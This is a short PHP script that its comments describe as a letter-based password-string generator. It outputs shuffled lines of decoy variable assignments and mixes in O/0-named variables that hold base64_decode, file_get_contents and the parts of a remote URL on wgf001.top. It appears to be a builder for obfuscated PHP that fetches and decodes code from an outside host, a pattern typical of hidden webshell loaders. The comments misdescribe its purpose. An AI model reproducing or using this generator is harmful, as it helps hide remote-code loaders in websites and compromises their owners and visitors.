<?php
//根据字母生成密码串
//字母映射数字采用X方映射法
//字母映射字母采用GH映射法
function a($zimu){
	$nrr = ["09753","19753","298563","37951","496587","50412","674589","73951","832569","91753"];

	$az = [
		"a"=>"1",
		"b"=>"2",
		"c"=>"3",
		"d"=>"4",
		"e"=>"5",
		"f"=>"6",
		"g"=>"7",
		"h"=>"8",
		"i"=>"9",
		"j"=>"10",
		"k"=>"11",
		"l"=>"12",
		"m"=>"13",
		"n"=>"14",
		"o"=>"15",
		"p"=>"16",
		"q"=>"17",
		"r"=>"18",
		"s"=>"19",
		"t"=>"20",
		"u"=>"21",
		"v"=>"22",
		"w"=>"23",
		"x"=>"24",
		"y"=>"25",
		"z"=>"26"
	];

	$str = $az[$zimu];
	$num = substr($str, -1, 1);
	$num_str = $nrr[$num];
	return $num_str;
}

$a = "sd";
$b = "gh";
$c = "vb";
$d = "fg";
$e = "rt";
$f = "gh";
$g = "hg";
$h = "gh";
$i = "uy";
$j = "hg";
$k = "jh";
$l = "kj";
$m = "nb";
$n = "bg";
$o = "iu";
$p = "oi";
$q = "we";
$r = "ty";
$s = "df";
$t = "yh";
$u = "yg";
$v = "bh";
$w = "er";
$x = "cv";
$y = "gh";
$z = "xc";

$arr = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
$arr2 = [' ','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'];
foreach($arr as $v1){
	$num1 = a($v1);
	foreach($arr2 as $v2){
		$num2 = $v2==' ' ? '' : a($v2);
		$arr_data[] = '$'.$v1.$v2."='".$$v1.$$v2.$num1.$num2."';";
	}
}

//$arr_data = file("a.txt");
array_push($arr_data,
	'$O00OOO="base64_decode";',
	'$OO00OO="file_get_contents";',
	'$OOO000="http://";',
	'$OO0OO0="www.wgf";',
	'$O0000O="001.top";',
	'$O00000="/txt/test/";',
	'$O000OO=".txt";'
);
shuffle($arr_data);
foreach($arr_data as $v){
	echo $v."</br>";
}






?>